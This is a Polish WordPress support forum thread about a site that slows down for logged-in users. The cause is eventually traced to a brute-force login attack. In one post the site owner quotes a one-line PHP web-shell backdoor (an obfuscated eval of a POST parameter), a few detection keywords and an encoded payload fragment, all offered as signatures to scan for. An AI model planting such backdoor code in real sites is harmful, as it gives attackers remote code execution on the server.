Strona muli od zalogowania do wylogowania (dla niezalogowanych śmiga)

wolnemedia
(@wolnemedia)

8 years temu

Portal WolneMedia.net oparty na WordPressie ma problemy techniczne od połowy lutego. Wcześniej problem nie występował. Problem występuje tylko wtedy, gdy użytkownik jest zalogowany. Nie występuje, gdy użytkownik jest niezalogowany.

OBJAWY PROBLEMU

– Od zalogowania do wylogowania strona działa powoli, po wylogowaniu śmiga jak błyskawica.

– Bardzo długo zapisują się nowe treści (wpisy i komentarze) do bazy danych Mysql – tak długo, że czasami wyskakuje błąd w przeglądarce o przekroczeniu czasu odświeżenia strony w panelu admina.

– Czasami zrywa się połączenie z bazą danych podczas dodawania nowych treści – w WordPressie pojawia się komunikat o próbie odzyskiwania połączenia.

– Do połowy lutego i w Wielkanoc serwer śmigał aż miło, ale w pozostałe dni – muli bez względu na godzinę (nawet w środku nocy).

– Problem dotyczy dodawania nowych treści zarówno w protokole http jak i https.

– Problem wydaje się nie istnieć na dwóch innych stronach opartych na WordPressie umieszczonych na tym samym serwerze.

NIEUDANE PRÓBY NAPRAWIENIA PROBLEMU

– Wyłączenie wszystkich wtyczek niczego nie zmieniło (podejrzewano jakiś konflikt skryptów).

– Ponowne wgranie plików CMS WordPress (nowej wersji 4.4.2 i starszej 4.4.1) niczego nie zmieniło.

– Resetowanie serwera (reboot) i Mysqla na serwerze nie wpływa na późniejszą szybkość zapisu.

– Usunięto stare kopie baz danych.

– Usunięto 1500 bardzo starych i zdezaktualizowanych newsów sprzed lat razem z komentarzami aby odchudzić bazę danych. Podejrzewano, że baza danych jest za duża i stąd coraz dłuższy zapis, ale niczego to nie zmieniło.

– Przeniesienie serwera na inny węzeł w firmie hostingowej niczego nie zmieniło (podejrzewano kradzież zasobów przez inną stronę na współdzielonym serwerze wirtualnym).

DODATKOWE INFORMACJE

– Według statystyk serwera wszystko wygląda bardzo dobrze.

– Nad problemem pochylały się dwie osoby, które od dawna pomagają portalowi w rozwiązywaniu problemów technicznych, ale żadna z nich nie rozumie, co się dzieje. Obie nie są specjalistami od WordPressu.

Poszukiwany jest specjalista biegły w WordPressie i ewentualnie Mysql!

Jeśli ktoś z Was domyśla się, lub ma pomysł, co to może być, lub jak można spróbować problem rozwiązać, proszę o wiadomość.

Osoba, która rozwiąże problem, może liczyć na wdzięczność finansową.

Viewing 6 replies - 1 through 6 (of 6 total)

Nikodemsky
(@nikodemsky)

8 years temu

Najpierw sporządzić kopię całej strony.

1. Sprawdzić logi apache.
2. Konsola developerska wykazuje coś po zalogowaniu?
3. Na jakim type serwera działa strona?
4. Jaka jest wersja PHP na serwerze?
5. Sprawdzić wpisy z okresu, w którym pojawił się problem. Być może jest jakiś problem z taksonomią w bazie.
6. Zainstalować wtyczkę:
https://pl.wordpress.org/plugins/rvg-optimize-database/
ustawić w ten sposób:
http://s21.postimg.org/eby098gmv/image.png
następnie dać mu zoptymizować bazę.

Thread Starter wolnemedia
(@wolnemedia)

8 years temu

Tabelę zoptymalizowałem podobną wtyczką wp-sweep (na wszelki wypadek też rvg-optimize-database), usunęło sporo śmieci, baza schudła o 50 MB, trochę przyspieszyło, ale nie aż tak, by rozwiązać problem. Wciąż zamula dla zalogowanych i śmiga dla niezalogowanych.

Dane o serwerze VPS:
RAM/VSwap – 512/256 MB
CPU – 2 Cores
Storage – 150 GB
Bandwidth – 2000 GB

Obecna wielkość bazy danych: 350 MB

Wersja PHP – najnowsza

Najczęściej zamulający skrypt wg wtyczki query-monitor na stronie portalu i w wp-admin:
wp-includes/query.php:3603

Kilka innych też wykonuje się długo.

Zastanawiam się, czy to wina skryptów WordPressu, Mysqla czy po prostu wtyczka do cachowania nie cachuje stron dla osób niezalogowanych? Używam CometCache, która według statystyk mocno odciążyła serwer, bardziej niż inne wtyczki do cachowania, jakie testowałem – nie używam W3 TotalCache bo po zainstalowaniu jej padł serwer.

Thread Starter wolnemedia
(@wolnemedia)

8 years temu

Dodatkowa informacja: nie mamy Apache, lecz ngnxa. W logach ngnxa nic podejrzanego nie ma. Slowlog wykazał tylko to co było wiadome, że kilka skryptów WordPressa długo się wykonuje, jak wspomniany wp-includes/query.php:3603 (i kilka innych), ale to nie tłumaczy samego oczekiwania na zapis w Mysql, lecz długie wczytanie strony (tak myślę).

Nikodemsky
(@nikodemsky)

8 years temu

Wersja PHP – najnowsza
Masz na myśli 7 ? Spróbuj przełączyć na 5.6 – testowo. Siódemka ponoć miała okazyjnie problemy z optymalną obsługą baz – nie wiem na ile to prawda, bo sam nie testowałem ale warto sprawdzić.

VPS – zaopatrzyłbym się przynajmniej w 1gb gwarantowanej pamięci RAM. Instalacji nie sprawdzałeś na żadnym „mocniejszym” serwerze? Jeśli strona „muli” bez wtyczki keszującej, to wypadałoby się zaopatrzyć w mocniejszą opcję – samo keszowanie faktycznie może pomóc w wielu przypadkach ale taka wtyczka nie powinna być podstawą do prawidłowego funkcjonowania strony. Większość wtyczek ma możliwość włączenia/wyłączenia keszowania dla zalogowanych(Twoja niestety nie – wyczytałem w informacjach – „Comet Cache does not serve cached pages to users who are logged in, or to users who have left comments recently.„), aczkolwiek nie mam pojęcia, czy tu leży pies pogrzebany. W3TC zapewne miał jakiś problem z htaccess ale nie jest to wtyczka, za którą należy „tęsknić”.

Przedwczoraj wyszedł wordpress 4.5 – próbowałeś aktualizować?

Po zalogowaniu możesz jeszcze spróbować sprawdzić na logu firebuga/devconsoli chrome, może wykaże coś więcej.

No i ostatnia kwestia – wspominałem już o tym i wiem, że zabrzmi to dziwnie ale testowo spróbowałbym na Twoim miejscu pousuwać wszystkie posty z lutego(oczywiści po uprzednim stworzeniu kopiii zapasowej bazy).

Thread Starter wolnemedia
(@wolnemedia)

8 years temu

Sprawa została wyjaśniona.

Problem, który obserwują osoby zalogowane na moim portalu, związany z muleniem strony (czyli powolnym działaniem) wywołany jest atakiem brute-force. Atak na portal WM został potwierdzony dzięki wtyczce sucuri monitorującej podobne działania.

Atak polega na próbach masowego logowania się, atakom nie są w stanie zapobiec wtyczki captcha.

Jeśli używacie WordPressu, powinniście zainstalować wtyczkę „Sucuri Security – Auditing, Malware Scanner and Hardening” oraz przeskanować serwer w poszukiwaniu kodów:

?php ($www= $_POST[‚bat’]) && @preg_replace(‚/ad/e’,’@’.str_rot13(‚riny’).'($www)’, ‚add’);?

eval(”
„gzinflate(”
„base64_decode(”

jeśli tymi metodami jest coś zakodowane to według naszego źródła informacji powinno to wyglądać mniej więcej tak:
1X39e9q40ujP3efZ/0H1yVnDlhAgTbcJJWm+
Q5omachX0+
RyjDHgYrDXhpC0p//7nRlJtvwBId3d9753z3MaLI1Go9HXaDQz2lh/t+
H1vF9/Wfr9919/Yb+
zq8YJq/BfVos1epbjsNYjc89amLj06y//WjDGo17TM4KA1Zj2ZtlY7ZQs449Wa/VtaaX0x+
qb1pvXq9bblddvy29fr2jVX39ZMF3H9RH6X+
0OT2lbHWPsjJqGObLdIWTpe7ZjBR+
NoQ7Z7yHbHlo5vbF7tNc83Tw/0Aus2dyrH+
02m3kAwP/ZnRwLRr7nBrmFZmP37HL37It+

Na moim portalu atak raz się nasila, innym razem opada, dlatego strona po zalogowaniu może działać raz szybciej a innym razem wolniej. Nie wiadomo, czy hakerzy przełamali blokadę WM czy nie. Będzie to sprawdzane.

W ubiegłą sobotę zarejestrowano tylko 208 prób logowań do WM (tego dnia strona chodziła błyskawicznie), wczoraj 1543, dzisiaj do 19:00 aż 3794. Ale to niewiele w porównaniu z atakiem z 30 marca i 1 kwietnia. 30 marca było 459 359 prób logowań, a 1 kwietnia 250 667.

Nie wiadomo, kiedy uda się rozwiązać problem, ale sam fakt, że atakowane są strony oparte na WordPressie, powinien zostać nagłośniony, by osoby odpowiedzialne za bezpieczeństwo WordPressu dokonały stosownych poprawek zapobiegającym atakom.

Nikodemsky
(@nikodemsky)

8 years temu

Ataki brute force na strony to nie jest problem wyłącznie wordpressa, WP sam w sobie jest bezpieczną platformą ale trzeba z niego też odpowiednio korzystać. Problem brute-force’ów można rozwiązać na kilka sposobów.

Na początek proponowałbym zmienić adres logowania oraz zainstalować wtyczkę, która blokuje ruch botów próbujących się przebić, np.:
https://pl.wordpress.org/plugins/wp-cerber/

Jeśli zajdzie potrzeba, to doinstalować logowanie 2-etapowe.

Captcha również pomaga ale oparta na prostym skrypcie js(google w swojej ma na zasadzie klikania budki „nie jestem robotem”), przepisywane catpche i oparte na prostych zadaniach matematycznych niestety nie są zbyt efektywne

Dodatkowo, jeśli na stronie pojawił się jakiś złośliwy kod, to po prostu coś znalazło dziurę albo w jakiejś wtyczce, skórce albo samym wordpressie(to ostatnie trafia się najrzadziej). Sucuri zapewne ma zabezpieczenia przed sql/xss inject ale wygląda na to, że zabezpieczyliście się za późno.

Cieszę się, że znaleźliście źródło problemu choć z drugiej strony dziwie się, że hostprovider nie zwrócił na to uwagi.

Viewing 6 replies - 1 through 6 (of 6 total)

Temat ‘Strona muli od zalogowania do wylogowania (dla niezalogowanych śmiga)’ jest zamknięty na nowe odpowiedzi.

Wyświetlenia